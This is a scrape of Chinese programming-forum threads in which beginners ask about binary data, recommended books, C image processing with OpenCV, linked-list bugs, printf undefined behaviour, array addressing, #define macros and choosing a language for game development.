这问题……  在现在的“数字式计算机”中，最基本的就是0和1了。 你能看到的图片、文字、视频，以及各种声音、磁盘上的文件/目录等等，终归结底，都全部是用 0和1 来表示的……

通过逻辑门（logic gates）来控制生成二进制数0,1

关键是理解计算机系统的电路结构去表征代数结构，程序员修炼的深层功夫。

0,1                            .

二进制位。  引用 楼主 u010952247 的回复:计算机的数据怎么表示的？


Question: 程序员至少要精读哪些经典书

引用 20 楼 akirya 的回复:注意身体啊，养生预防之类的书也要看 ++++ 程序猿必修------养生之道。

注意身体啊，养生预防之类的书也要看

MSDN 比较适合 C++。

关键看你要学习那些专业方向，例如 C 或 C++ ，或者 JAVA ，那么需要仔细看的书籍会有些差异的。

引用 7 楼 jxlijunhao 的回复:引用 4 楼 zhao4zhong1 的回复:MSDN 赵老师还在啊，几年前就见过您了  哈哈 头像依然潇洒难辨啊~他

引用 14 楼 truelance 的回复:[quote=引用 13 楼 Adol1111 的回复:] 《TCPL》《APUE》《TCP/IP详解》《计算机网络》《设计模式》《代码大全》《程序员修炼之道——从小工到专家》《敏捷软件开发原则 模式与实践》《人月神话》《TAOCP》《编译原理》？  不知道楼主说的是啥方面的书。上面列了好多，都太厚了，等看完不知道何年何月了... 慢慢看，一口吃不成胖子， 这些书我已经看完70%左右了。[/quote] 好毅力....希望都完全吸收了，不是单纯的“看”完

引用 13 楼 Adol1111 的回复:《TCPL》《APUE》《TCP/IP详解》《计算机网络》《设计模式》《代码大全》《程序员修炼之道——从小工到专家》《敏捷软件开发原则 模式与实践》《人月神话》《TAOCP》《编译原理》？  不知道楼主说的是啥方面的书。上面列了好多，都太厚了，等看完不知道何年何月了... 慢慢看，一口吃不成胖子， 这些书我已经看完70%左右了。

深入理解计算机系统

引用 11 楼 ForestDB 的回复:我扭头看了一下我的书架，发现这几本是可以推荐的： Compter System, A Programmer's Perpective The C Programming Language +++++

认真上课 。看你想做的方向

专业课教材  认真上课

引用 楼主 u010952247 的回复:您好，我是初级程序员。请问程序员至少要精读哪些经典书？  看应该看的

引用 5 楼 user-14 的回复:[quote=引用 4 楼 zhao4zhong1 的回复:] MSDN  不是Windows开发程序员呢？亲[/quote] man命令

引用 4 楼 zhao4zhong1 的回复:MSDN  不是Windows开发程序员呢？亲

MSDN

http://bbs.csdn.net/topics/390638386 前几天发的帖子，给你借鉴下！

太泛了. 你现在打算学的是哪个方面? 某种语言, java? c? c++? python? erlang? 数据结构和算法? 编译原理? 操作系统? 数据库? 人工智能? 图像处理? 计算机网络? 嵌入式开发? 电商系统? 网游开发?


Question: C语言图像处理

老师真的垃圾

你的老师太水了，不调用图形库，纯C处理图形牵扯到底层，图像在屏幕的显示问题。

推荐这本书，我也在看。 张宏林 求是科技 《精通visual C++数字图像处理典型算法及实现》

老师一看就是业余选手

引用 7 楼 baipv008 的回复:打开jpg你不用现成的库？写到天荒地老。   行数|文件    693|C:\Android\Mydroid\external\jpeg\ansi2knr.c    132|C:\Android\Mydroid\external\jpeg\cderror.h    181|C:\Android\Mydroid\external\jpeg\cdjpeg.c    184|C:\Android\Mydroid\external\jpeg\cdjpeg.h    606|C:\Android\Mydroid\external\jpeg\cjpeg.c    402|C:\Android\Mydroid\external\jpeg\ckconfig.c    616|C:\Android\Mydroid\external\jpeg\djpeg.c    433|C:\Android\Mydroid\external\jpeg\example.c    280|C:\Android\Mydroid\external\jpeg\jcapimin.c    161|C:\Android\Mydroid\external\jpeg\jcapistd.c    449|C:\Android\Mydroid\external\jpeg\jccoefct.c    527|C:\Android\Mydroid\external\jpeg\jccolor.c    387|C:\Android\Mydroid\external\jpeg\jcdctmgr.c    909|C:\Android\Mydroid\external\jpeg\jchuff.c     47|C:\Android\Mydroid\external\jpeg\jchuff.h     72|C:\Android\Mydroid\external\jpeg\jcinit.c    293|C:\Android\Mydroid\external\jpeg\jcmainct.c    664|C:\Android\Mydroid\external\jpeg\jcmarker.c    590|C:\Android\Mydroid\external\jpeg\jcmaster.c    106|C:\Android\Mydroid\external\jpeg\jcomapi.c    156|C:\Android\Mydroid\external\jpeg\jconfig.h    610|C:\Android\Mydroid\external\jpeg\jcparam.c    833|C:\Android\Mydroid\external\jpeg\jcphuff.c    354|C:\Android\Mydroid\external\jpeg\jcprepct.c    519|C:\Android\Mydroid\external\jpeg\jcsample.c    388|C:\Android\Mydroid\external\jpeg\jctrans.c    395|C:\Android\Mydroid\external\jpeg\jdapimin.c    275|C:\Android\Mydroid\external\jpeg\jdapistd.c    151|C:\Android\Mydroid\external\jpeg\jdatadst.c    212|C:\Android\Mydroid\external\jpeg\jdatasrc.c    736|C:\Android\Mydroid\external\jpeg\jdcoefct.c    881|C:\Android\Mydroid\external\jpeg\jdcolor.c    176|C:\Android\Mydroid\external\jpeg\jdct.h    269|C:\Android\Mydroid\external\jpeg\jddctmgr.c    651|C:\Android\Mydroid\external\jpeg\jdhuff.c    201|C:\Android\Mydroid\external\jpeg\jdhuff.h    381|C:\Android\Mydroid\external\jpeg\jdinput.c    512|C:\Android\Mydroid\external\jpeg\jdmainct.c   1360|C:\Android\Mydroid\external\jpeg\jdmarker.c    576|C:\Android\Mydroid\external\jpeg\jdmaster.c    757|C:\Android\Mydroid\external\jpeg\jdmerge.c    668|C:\Android\Mydroid\external\jpeg\jdphuff.c    290|C:\Android\Mydroid\external\jpeg\jdpostct.c    478|C:\Android\Mydroid\external\jpeg\jdsample.c    143|C:\Android\Mydroid\external\jpeg\jdtrans.c    252|C:\Android\Mydroid\external\jpeg\jerror.c    291|C:\Android\Mydroid\external\jpeg\jerror.h    168|C:\Android\Mydroid\external\jpeg\jfdctflt.c    224|C:\Android\Mydroid\external\jpeg\jfdctfst.c    283|C:\Android\Mydroid\external\jpeg\jfdctint.c    242|C:\Android\Mydroid\external\jpeg\jidctflt.c    368|C:\Android\Mydroid\external\jpeg\jidctfst.c    389|C:\Android\Mydroid\external\jpeg\jidctint.c    398|C:\Android\Mydroid\external\jpeg\jidctred.c     91|C:\Android\Mydroid\external\jpeg\jinclude.h    186|C:\Android\Mydroid\external\jpeg\jmem-android.c    167|C:\Android\Mydroid\external\jpeg\jmemansi.c    638|C:\Android\Mydroid\external\jpeg\jmemdos.c    289|C:\Android\Mydroid\external\jpeg\jmemmac.c   1118|C:\Android\Mydroid\external\jpeg\jmemmgr.c    276|C:\Android\Mydroid\external\jpeg\jmemname.c    109|C:\Android\Mydroid\external\jpeg\jmemnobs.c    198|C:\Android\Mydroid\external\jpeg\jmemsys.h    387|C:\Android\Mydroid\external\jpeg\jmorecfg.h    392|C:\Android\Mydroid\external\jpeg\jpegint.h   1100|C:\Android\Mydroid\external\jpeg\jpeglib.h    504|C:\Android\Mydroid\external\jpeg\jpegtran.c    856|C:\Android\Mydroid\external\jpeg\jquant1.c   1310|C:\Android\Mydroid\external\jpeg\jquant2.c    179|C:\Android\Mydroid\external\jpeg\jutils.c     14|C:\Android\Mydroid\external\jpeg\jversion.h    439|C:\Android\Mydroid\external\jpeg\rdbmp.c    253|C:\Android\Mydroid\external\jpeg\rdcolmap.c     38|C:\Android\Mydroid\external\jpeg\rdgif.c    496|C:\Android\Mydroid\external\jpeg\rdjpgcom.c    458|C:\Android\Mydroid\external\jpeg\rdppm.c    387|C:\Android\Mydroid\external\jpeg\rdrle.c    332|C:\Android\Mydroid\external\jpeg\rdswitch.c    500|C:\Android\Mydroid\external\jpeg\rdtarga.c    928|C:\Android\Mydroid\external\jpeg\transupp.c    135|C:\Android\Mydroid\external\jpeg\transupp.h    442|C:\Android\Mydroid\external\jpeg\wrbmp.c    399|C:\Android\Mydroid\external\jpeg\wrgif.c    583|C:\Android\Mydroid\external\jpeg\wrjpgcom.c    268|C:\Android\Mydroid\external\jpeg\wrppm.c    305|C:\Android\Mydroid\external\jpeg\wrrle.c    253|C:\Android\Mydroid\external\jpeg\wrtarga.c  36349 ←总行数(^_^)

打开jpg你不用现成的库？写到天荒地老。

不用庫怎麼做到? 難道要用上組合語言跟C?

还非诚勿扰

那也肯定能搜到。 况且OpenCV是开源的。  Image Magick也是开源的。

老师要求不要这些辅助工具…………必须要C语言代码实现…………自己编函数…………不是调用库函数之类的……不过谢了

//////////////////////////////////////////////////////////////////////// // // 用的是opencv   // 想详细学习图像处理还的自己看书   opencv有很多是直接封装好了的 // 该程序从文件中读入一幅图像，将之反色，然后显示出来.  // //////////////////////////////////////////////////////////////////////// #include <stdlib.h> #include <stdio.h> #include <math.h> #include <cv.h> #include <highgui.h>    int main(int argc, char *argv[]) {   IplImage* img = 0;    int height,width,step,channels;   uchar *data;   int i,j,k;      //if(argc<2){   //  printf("usage: main <image-file-name>\n\7");   //  exit(0);   //}      // load an image     img=cvLoadImage("C:\\aa.jpg");   if(!img){     printf("Could not load image file: %s\n",argv[1]);     exit(0);   }      // get the image data   height    = img->height;   width     = img->width;   step      = img->widthStep;   channels  = img->nChannels;   data      = (uchar *)img->imageData;   printf("Processing a %dx%d image with %d channels\n",height,width,channels);      // create a window   cvNamedWindow("mainWin", CV_WINDOW_AUTOSIZE);    cvMoveWindow("mainWin", 100, 100);      // invert the image   // 相当于 cvNot(img);   // IplImage *pDstImg = cvCreateImage(cvGetSize(img),img->depth,img->nChannels);   // cvNot(img, pDstImg);   for(i=0;i<height;i++) for(j=0;j<width;j++) for(k=0;k<channels;k++)     data[i*step+j*channels+k]=255-data[i*step+j*channels+k];      // show the image   cvShowImage("mainWin", img );      // wait for a key   cvWaitKey(0);      // release the image   cvReleaseImage(&img );   return 0; }


Question: 一个链表的小问题

问题出在这里：  p1->next=p2;             p1=p2;             p2=(struct Student*)malloc(LEN);             scanf("%d",&p2->num); 你让p1=p2后，p1->next = p2->next,但是，p2经过malloc且while循环不再执行后，p1->next指向哪里？这就造成了野指针。

引用 2 楼 K5082 的回复:[quote=引用 1 楼 wildcrazy 的回复:]  struct Student* creat() {     struct Student *p1,*p2,*head;     p1=p2=(struct Student*)malloc(LEN);     scanf("%d",&p2->num);     head=NULL;  //这里为什么还要把head给NULL一下？     while(p2->num!=0)     { [/quote] 也可以是一个空的链表吧

引用 2 楼 K5082 的回复:[quote=引用 1 楼 wildcrazy 的回复:]  struct Student* creat() {     struct Student *p1,*p2,*head;     p1=p2=(struct Student*)malloc(LEN);     scanf("%d",&p2->num);     head=NULL;  //这里为什么还要把head给NULL一下？     while(p2->num!=0)     { [/quote] 如果不给它赋 NULL，想象一下，你输入的时候，上来就输 0 ，会发生什么

引用 1 楼 wildcrazy 的回复: struct Student* creat() {     struct Student *p1,*p2,*head;     p1=p2=(struct Student*)malloc(LEN);     scanf("%d",&p2->num);     head=NULL;  //这里为什么还要把head给NULL一下？     while(p2->num!=0)     {

while(p2->num!=0)     {         n=n+1;         if(n==1)         {             head=p1;         }         else         {             p1->next=p2;  ///////// 最后输入 0 之后，没有执行这里！！             p1=p2;             p2=(struct Student*)malloc(LEN);             scanf("%d",&p2->num);         }     }     p2->next=NULL;//将这里的p2改成p1之后就没事了


Question: 关于++，printf问题

这样做，只是为了验证一些工作原理，的确没有实际的意义。

千万不要写这样的代码

引用 8 楼 u012967319 的回复:7,6 8 以前看過這問題  printf("%d, [%d]\n", a++, [第一個處理a++]); 將A用%D輸出,所以最後一個D是6,然後再++,A是7  printf("[%d], %d\n", [這是第2個處理a++], a++);  將A用%D輸出,然後再++,A=8 别解释了，标准里明确说了是Undefined_behavior，不同的编译器下输出不同的，没有意义，看下置顶贴吧。

这些都是入门的，少发这种问题吧

如果不会用debugger，就先不要问这样的问题，先去学debugger。

7,6 8 printf()函数式从右向左输出的。 至于++应该好理解。

未定义行为，结果要看编译器的实现，参看置顶贴，不要写这种代码

看置顶帖吧，无需过多纠结这个，也尽量不要写这样的代码

输出的是:   7,6 8 因为对于printf(..)这样的可变参数的函数，调用约定应该是__cdecl,即函数的参数是从到右压入栈中，由调用者(Caller)释放栈。这里的关键是由调用者释放栈，原因是对于可变参数的函数，在函数内部是不知道参数的个数的，所以只有在函数调用的外部，即调用者来释放栈。  对于自增运算看左++还是右++就行了，右++就是先执行，后自增，左++相反。


Question: 越看越懵，麻烦帮一下我

引用 14 楼 u010334406 的回复:[quote=引用 5 楼 ZXC5geren 的回复:] 二维数组 a[m][n] 共有m行 每行n列 &a[0][0] 数组起始地址。 &a[0][0] + n*2 第3行的首地址  = &a[2][0] &a[0][0] + n*2 + 2 第3行第3元素的地址 = &a[2][2] 明白了，是不是这样？比如说二维数组a[3][5]，&a[0][0] + n*2是二维数组的第11个元素，正好是&a[2][0] [/quote] 每一行都有n列，用数组地址每次加上一行的列数就是下一行的地址对应元素的位置。数组a[m][n]. &a[j][k] + n * l = &a[j+l][k] j<m,k<n

引用 5 楼 ZXC5geren 的回复:二维数组 a[m][n] 共有m行 每行n列 &a[0][0] 数组起始地址。 &a[0][0] + n*2 第3行的首地址  = &a[2][0] &a[0][0] + n*2 + 2 第3行第3元素的地址 = &a[2][2] 明白了，是不是这样？比如说二维数组a[3][5]，&a[0][0] + n*2是二维数组的第11个元素，正好是&a[2][0]

引用 11 楼 ForestDB 的回复:[quote=引用 9 楼 AnYidan 的回复:] 似乎认定数组元素是 char 别的类型也一样吧。[/quote]  一时糊涂

可能是這樣看&a[0][0] + (n * 2) + 2

引用 9 楼 AnYidan 的回复:似乎认定数组元素是 char 别的类型也一样吧。

*可以是乘，也可以是解应用，按上下文很容易区分才对。

似乎认定数组元素是 char

引用 5 楼 ZXC5geren 的回复:二维数组 a[m][n] 共有m行 每行n列 &a[0][0] 数组起始地址。 &a[0][0] + n*2 第3行的首地址  = &a[2][0] &a[0][0] + n*2 + 2 第3行第3元素的地址 = &a[2][2] 我是新手，看错了，我把乘号理解成指针了。

计算机组成原理→DOS命令→汇编语言→C语言（不包括C++）、代码书写规范→数据结构、编译原理、操作系统→计算机网络、数据库原理、正则表达式→其它语言（包括C++）、架构……  对学习编程者的忠告： 眼过千遍不如手过一遍！ 书看千行不如手敲一行！ 手敲千行不如单步一行！ 单步源代码千行不如单步对应汇编一行！  VC调试时按Alt+8、Alt+7、Alt+6和Alt+5,打开汇编窗口、堆栈窗口、内存窗口和寄存器窗口看每句C对应的汇编、单步执行并观察相应堆栈、内存和寄存器变化，这样过一遍不就啥都明白了吗。 对VC来说，所谓‘调试时’就是编译连接通过以后，按F10或F11键单步执行一步以后的时候，或者在某行按F9设了断点后按F5执行停在该断点处的时候。 （Turbo C或Borland C用Turbo Debugger调试,Linux或Unix下用GDB调试时,看每句C对应的汇编并单步执行观察相应内存和寄存器变化。）

引用 5 楼 ZXC5geren 的回复:二维数组 a[m][n] 共有m行 每行n列 &a[0][0] 数组起始地址。 &a[0][0] + n*2 第3行的首地址  = &a[2][0] &a[0][0] + n*2 + 2 第3行第3元素的地址 = &a[2][2]re

引用 2 楼 missheaven2011 的回复:&a[2][2], *表示相乘 如果是乘法，如果算出的结果是&a[2][2]

先把运算符那部分学了吧

&a[2][2], *表示相乘

指针的加法 把a[m][n]看成一维数组a[m * n], 然后把m*n看成m个n份


Question: c语言define的迷惑

以下内容来自ＭＳＤＮ #define identifier[( identifieropt, ... , identifieropt )] token-stringopt A #define without a token-string removes occurrences of identifier from the source file. The identifier remains defined and can be tested using the #if defined and #ifdef directives.

引用 9 楼 zhao4zhong1 的回复:编译选项加/EP /P，重新编译，查看宏展开后对应的.i文件。gcc加-E 这才是只需记住的东东！

只需要记住#define不做运算，只做替换。 而#define定义的名称可以在语句中运算  比如 #define q(x) x*(x-1) int sq,y; scanf("%d",&y); printf("%d",sq=q(y));

空值，必须是空值

编译选项加/EP /P，重新编译，查看宏展开后对应的.i文件。gcc加-E

The #define Directive You can use the #define directive to give a meaningful name to a constant in your program. The two forms of the syntax are:   Syntax  #define identifier token-stringopt  #define identifier[( identifieropt, ... , identifieropt )] token-stringopt  The #define directive substitutes token-string for all subsequent occurrences of an identifier in the source file. The identifier is replaced only when it forms a token. (See C++ Tokens in the C++ Language Reference.) For instance, identifier is not replaced if it appears in a comment, within a string, or as part of a longer identifier.  A #define without a token-string removes occurrences of identifier from the source file. The identifier remains defined and can be tested using the #if defined and #ifdef directives.  The token-string argument consists of a series of tokens, such as keywords, constants, or complete statements. One or more white-space characters must separate token-string from identifier. This white space is not considered part of the substituted text, nor is any white space following the last token of the text.  Formal parameter names appear in token-string to mark the places where actual values are substituted. Each parameter name can appear more than once in token-string, and the names can appear in any order. The number of arguments in the call must match the number of parameters in the macro definition. Liberal use of parentheses ensures that complicated actual arguments are interpreted correctly.   The second syntax form allows the creation of function-like macros. This form accepts an optional list of parameters that must appear in parentheses. References to the identifier after the original definition replace each occurrence of identifier( identifieropt, ..., identifieropt ) with a version of the token-string argument that has actual arguments substituted for formal parameters.   The formal parameters in the list are separated by commas. Each name in the list must be unique, and the list must be enclosed in parentheses. No spaces can separate identifier and the opening parenthesis. Use line concatenation — place a backslash (\) before the newline character — for long directives on multiple source lines. The scope of a formal parameter name extends to the new line that ends token-string.   When a macro has been defined in the second syntax form, subsequent textual instances followed by an argument list constitute a macro call. The actual arguments following an instance of identifier in the source file are matched to the corresponding formal parameters in the macro definition. Each formal parameter in token-string that is not preceded by a stringizing (#), charizing (#@), or token-pasting (##) operator, or not followed by a ## operator, is replaced by the corresponding actual argument. Any macros in the actual argument are expanded before the directive replaces the formal parameter. (The operators are described in Preprocessor Operators.)  The following examples of macros with arguments illustrate the second form of the #define syntax:  // Macro to define cursor lines  #define CURSOR(top, bottom) ((top) << 8) | bottom))  // Macro to get a random integer with a specified range  #define getrandom(min, max) \     ((rand()%(int)(((max) + 1)-(min)))+ (min))  Arguments with side effects sometimes cause macros to produce unexpected results. A given formal parameter may appear more than once in token-string. If that formal parameter is replaced by an expression with side effects, the expression, with its side effects, may be evaluated more than once. (See the examples under Token-Pasting Operator (##).)  The #undef directive causes an identifier’s preprocessor definition to be forgotten. See The #undef Directive for more information.  If the name of the macro being defined occurs in token-string (even as a result of another macro expansion), it is not expanded.  A second #define for a macro with the same name generates an error unless the second token sequence is identical to the first.  Microsoft Specific   Microsoft C/C++ allows the redefinition of a macro, but generates a warning, provided the new definition is lexically identical to a previous definition. ANSI C considers macro redefinition an error. For example, these macros are equivalent for C/C++ but generate warnings:  #define test( f1, f2 ) ( f1 * f2 ) #define test( a1, a2 ) ( a1 * a2 )  END Microsoft Specific  This example illustrates the #define directive:  #define WIDTH       80 #define LENGTH      ( WIDTH + 10 )  The first statement defines the identifier WIDTH as the integer constant 80 and defines LENGTH in terms of WIDTH and the integer constant 10. Each occurrence of LENGTH is replaced by (WIDTH + 10). In turn, each occurrence of WIDTH + 10 is replaced by the expression (80 + 10). The parentheses around WIDTH + 10 are important because they control the interpretation in statements such as the following:  var = LENGTH * 20;  After the preprocessing stage the statement becomes:  var = ( 80 + 10 ) * 20;  which evaluates to 1800. Without parentheses, the result is:  var = 80 + 10 * 20;  which evaluates to 280.  Microsoft Specific   Defining macros and constants with the /D compiler option has the same effect as using a #define preprocessing directive at the beginning of your file. Up to 30 macros can be defined with the /D option.  END Microsoft Specific

就是空的，_EXTERN char tmp[10];相当于char tmp[10];  引用 楼主 abc814251901 的回复:#ifdef pig #define _EXTERN #else #define _EXTERN extern #endif  _EXTERN char tmp[10];  现在的问题是，Pig被定义了，那么这个时候_EXTERN应该是什么值？ 这个时候为什么就是一个定义了呢？ 求指点

这种用法一般用在.h文件中，因为对应的.c文件一般不需要extern声明，而其他的.c文件要用到该变量时就需要加extern了

各路大神很给力啊！

宏定义的实现，定义pig的时候，为空值

我也想問 已經看了答案,謝謝各位大牛

pig？你看的是什么代码啊。。

有pig _EXTERN char tmp[10]; 就是 char tmp[10];  没有pig _EXTERN char tmp[10]; 就是 extern char tmp[10];

什么也没有啊！空值的

#ifdef pig #define _EXTERN #else #define _EXTERN extern #endif _EXTERN char tmp[10];  如果pig被定义，则_EXTERN被定义为空，下面的_EXTERN char tmp[10];被替换成char tmp[10];，是一个数组定义 如果pig被定义，则_EXTERN被定义为extern，下面的_EXTERN char tmp[10];被替换成extern char tmp[10];，是一个数组声明 宏就是简单的文本替换，如果你觉得不是，那你想太多了，就这样

空值。。。。

宏是一种文本替换而已，不存在值的说法。  #define _EXTERN后面是空的，所以被替换成空的。  VS下可以在项目属性->C/C++ ->预处理器 选项里选择输出宏替换后的文件，你可以去看一下。gcc用-E选项。

现在的问题是，Pig被定义了，那么这个时候_EXTERN应该是什么值？// 是个空值


Question: C语言难学不？据说用C做游戏速度是最快的也是最好的？

引用 8 楼 turingo 的回复:汇编语言最快！  引用 楼主 u012280292 的回复:有java基础 但是我的最终目标是做游戏。  我想从现在开始踏出一小步 慢慢学    有的说C++做游戏比较好。  有java基础 学C会容易点么 直接把机器码甩给机器

引用 16 楼 u012280292 的回复:[quote=引用 13 楼 kwolfmsdn 的回复:] 建议学习C++或者C# 目前大多数的游戏引擎都是使用这两种语言来开发游戏的  你不会是觉得自己能从基本的物理碰撞开始独立完成一个游戏吧 那几乎是不可能的亲  如果真的想要做游戏 把我一个游戏公司哥们给我讲的东西给你再讲一遍吧  首先把游戏策划、目标人群、游戏风格、盈利方式等等问题弄清楚 然后落实到纸面上写好策划案、游戏设计、推广方案等等文案 经过同行（你可能只能找你的朋友）评审游戏可玩性、技术可行性、市场前景等等问题 最后才到实现阶段 挑选一个合适的游戏引擎 找几个美工给你画资源 录制需要的声音资源 最后才是编码 把所有资源倒入、编写游戏流程  而且编码是其中最不重要的部分 只是在把前面策划好的游戏流程、界面、关卡实现出来而已  你目前理解的制作游戏 我可以认为是制作游戏引擎 而不是制作游戏本身 在游戏制作过程中 程序员基本起不到什么关键性的作用  游戏引擎需要的知识又不是编程语言的问题了 需要的是算法、图像处理等等基础知识(具体还有哪些我也不清楚，不是干这个的) 还有对DirectX、OpenGL的理解 一个C语言恐怕远远不够  感觉自己好像没戏了。。。  C#和java一样啊 面向对象编程的 速度还 没java快又不开源 为什么还要学c#  ，    就算难我也的一点一点来  求问 第一步重哪里开始[/quote]  不管你最后打算学哪个语言了 虽然不用做到精通 至少要掌握  然后弄明白游戏的最最基本框架 也就是真的理解下面这段代码 main() {   while(1)   {     update();     draw();     sleep(1000/60);   } }  之后学习DirectX 当然学习OpenGL也可以 不过OpenGL本身没有对于声音和IO的管理，还需要你自己去处理 所以建议从DirectX入手 不要受一些技术大牛的英雄 因为DirectX是微软的技术 就天生的歧视它 OpenGL是工业标准，是很强大，是无所不能 我承认 不过你要知道 你是打算做游戏 windows才是PC的游戏平台 很多民用显卡只是选择性的支持OpenGL的部分特性 DirectX才是制作游戏的王道  当然如果你是打算做手机游戏 这又要另说了 毕竟WP8的前景真的不太好 在移动开发里OpenGL ES才是正经事  网页游戏又要另说了 Flash和HTML5的战争还没打完 到底是Flash一统江湖 还是HTML5最终胜利 还不好说  然后如果有美术功底 再学学3D建模、PS什么的  学会上面这些 基本上你就能写出一些姑且能够称为游戏的东西了  之后如果你还打算进一步深入的话 就自己写写AI、碰撞检测什么的 再不开发个引擎试试  不过说到底 我还是建议你不要自己去做这些  找个免费开源的引擎 好好学习一下 把自己的游戏想法实现出来 才是最好的途径  2D游戏建议使用cocos2d 3D引擎不了解，听说Ogre不错 页游建议使用HTML5

你们都想多了.  除非你自己创业, 否则使用什么语言开发都是公司选好的, 作为一个资深程序员, 这些语言都要会用, 而且必须学会混合编程.

你来对了地方, 一个语言快不快, csdn 这方面专家很多.

引用 26 楼 u012280292 的回复:[quote=引用 22 楼 ForestDB 的回复:] [quote=引用 21 楼 u012280292 的回复:] [quote=引用 19 楼 ForestDB 的回复:] 如果是RPG，感觉OpenGL不错，不过到底是自己没有实践过。 他是用来做什么的？ 调用它的API来处理图像？  [/quote] 是啊，游戏不是有大量的2D/3D处理么？ 其实C就是个语言，没有其他库的API的支持，也干不了什么。 [/quote]  所以要果断学C++  C++应该有自己的API吧  如果要学OpenGL 先要弄清C++基本语法然后用c++试着调用OpenGL的API包， 我的想法正确么？[/quote] 抱歉，C++其实也只是个语言，标准库也做不了什么。 http://bbs.csdn.net/topics/390644346 http://bbs.csdn.net/topics/360186578 这两个帖子，可以借鉴下。

引用 22 楼 ForestDB 的回复:[quote=引用 21 楼 u012280292 的回复:] [quote=引用 19 楼 ForestDB 的回复:] 如果是RPG，感觉OpenGL不错，不过到底是自己没有实践过。 他是用来做什么的？ 调用它的API来处理图像？  [/quote] 是啊，游戏不是有大量的2D/3D处理么？ 其实C就是个语言，没有其他库的API的支持，也干不了什么。 [/quote]  所以要果断学C++  C++应该有自己的API吧  如果要学OpenGL 先要弄清C++基本语法然后用c++试着调用OpenGL的API包， 我的想法正确么？

C语言不是很难学,精通难而已

引用 30 楼 kwolfmsdn 的回复:[quote=引用 16 楼 u012280292 的回复:] [quote=引用 13 楼 kwolfmsdn 的回复:] 建议学习C++或者C# 目前大多数的游戏引擎都是使用这两种语言来开发游戏的  你不会是觉得自己能从基本的物理碰撞开始独立完成一个游戏吧 那几乎是不可能的亲  如果真的想要做游戏 把我一个游戏公司哥们给我讲的东西给你再讲一遍吧  首先把游戏策划、目标人群、游戏风格、盈利方式等等问题弄清楚 然后落实到纸面上写好策划案、游戏设计、推广方案等等文案 经过同行（你可能只能找你的朋友）评审游戏可玩性、技术可行性、市场前景等等问题 最后才到实现阶段 挑选一个合适的游戏引擎 找几个美工给你画资源 录制需要的声音资源 最后才是编码 把所有资源倒入、编写游戏流程  而且编码是其中最不重要的部分 只是在把前面策划好的游戏流程、界面、关卡实现出来而已  你目前理解的制作游戏 我可以认为是制作游戏引擎 而不是制作游戏本身 在游戏制作过程中 程序员基本起不到什么关键性的作用  游戏引擎需要的知识又不是编程语言的问题了 需要的是算法、图像处理等等基础知识(具体还有哪些我也不清楚，不是干这个的) 还有对DirectX、OpenGL的理解 一个C语言恐怕远远不够  感觉自己好像没戏了。。。  C#和java一样啊 面向对象编程的 速度还 没java快又不开源 为什么还要学c#  ，    就算难我也的一点一点来  求问 第一步重哪里开始[/quote]  不管你最后打算学哪个语言了 虽然不用做到精通 至少要掌握  然后弄明白游戏的最最基本框架 也就是真的理解下面这段代码 main() {   while(1)   {     update();     draw();     sleep(1000/60);   } }  之后学习DirectX 当然学习OpenGL也可以 不过OpenGL本身没有对于声音和IO的管理，还需要你自己去处理 所以建议从DirectX入手 不要受一些技术大牛的英雄 因为DirectX是微软的技术 就天生的歧视它 OpenGL是工业标准，是很强大，是无所不能 我承认 不过你要知道 你是打算做游戏 windows才是PC的游戏平台 很多民用显卡只是选择性的支持OpenGL的部分特性 DirectX才是制作游戏的王道  当然如果你是打算做手机游戏 这又要另说了 毕竟WP8的前景真的不太好 在移动开发里OpenGL ES才是正经事  网页游戏又要另说了 Flash和HTML5的战争还没打完 到底是Flash一统江湖 还是HTML5最终胜利 还不好说  然后如果有美术功底 再学学3D建模、PS什么的  学会上面这些 基本上你就能写出一些姑且能够称为游戏的东西了  之后如果你还打算进一步深入的话 就自己写写AI、碰撞检测什么的 再不开发个引擎试试  不过说到底 我还是建议你不要自己去做这些  找个免费开源的引擎 好好学习一下 把自己的游戏想法实现出来 才是最好的途径  2D游戏建议使用cocos2d 3D引擎不了解，听说Ogre不错 页游建议使用HTML5[/quote]  引用 30 楼 kwolfmsdn 的回复:[quote=引用 16 楼 u012280292 的回复:] [quote=引用 13 楼 kwolfmsdn 的回复:] 建议学习C++或者C# 目前大多数的游戏引擎都是使用这两种语言来开发游戏的  你不会是觉得自己能从基本的物理碰撞开始独立完成一个游戏吧 那几乎是不可能的亲  如果真的想要做游戏 把我一个游戏公司哥们给我讲的东西给你再讲一遍吧  首先把游戏策划、目标人群、游戏风格、盈利方式等等问题弄清楚 然后落实到纸面上写好策划案、游戏设计、推广方案等等文案 经过同行（你可能只能找你的朋友）评审游戏可玩性、技术可行性、市场前景等等问题 最后才到实现阶段 挑选一个合适的游戏引擎 找几个美工给你画资源 录制需要的声音资源 最后才是编码 把所有资源倒入、编写游戏流程  而且编码是其中最不重要的部分 只是在把前面策划好的游戏流程、界面、关卡实现出来而已  你目前理解的制作游戏 我可以认为是制作游戏引擎 而不是制作游戏本身 在游戏制作过程中 程序员基本起不到什么关键性的作用  游戏引擎需要的知识又不是编程语言的问题了 需要的是算法、图像处理等等基础知识(具体还有哪些我也不清楚，不是干这个的) 还有对DirectX、OpenGL的理解 一个C语言恐怕远远不够  感觉自己好像没戏了。。。  C#和java一样啊 面向对象编程的 速度还 没java快又不开源 为什么还要学c#  ，    就算难我也的一点一点来  求问 第一步重哪里开始[/quote]  不管你最后打算学哪个语言了 虽然不用做到精通 至少要掌握  然后弄明白游戏的最最基本框架 也就是真的理解下面这段代码 main() {   while(1)   {     update();     draw();     sleep(1000/60);   } }  之后学习DirectX 当然学习OpenGL也可以 不过OpenGL本身没有对于声音和IO的管理，还需要你自己去处理 所以建议从DirectX入手 不要受一些技术大牛的英雄 因为DirectX是微软的技术 就天生的歧视它 OpenGL是工业标准，是很强大，是无所不能 我承认 不过你要知道 你是打算做游戏 windows才是PC的游戏平台 很多民用显卡只是选择性的支持OpenGL的部分特性 DirectX才是制作游戏的王道  当然如果你是打算做手机游戏 这又要另说了 毕竟WP8的前景真的不太好 在移动开发里OpenGL ES才是正经事  网页游戏又要另说了 Flash和HTML5的战争还没打完 到底是Flash一统江湖 还是HTML5最终胜利 还不好说  然后如果有美术功底 再学学3D建模、PS什么的  学会上面这些 基本上你就能写出一些姑且能够称为游戏的东西了  之后如果你还打算进一步深入的话 就自己写写AI、碰撞检测什么的 再不开发个引擎试试  不过说到底 我还是建议你不要自己去做这些  找个免费开源的引擎 好好学习一下 把自己的游戏想法实现出来 才是最好的途径  2D游戏建议使用cocos2d 3D引擎不了解，听说Ogre不错 页游建议使用HTML5[/quote]  感谢  说的这么详细  先拿2D引擎研究研究调用下API试试看     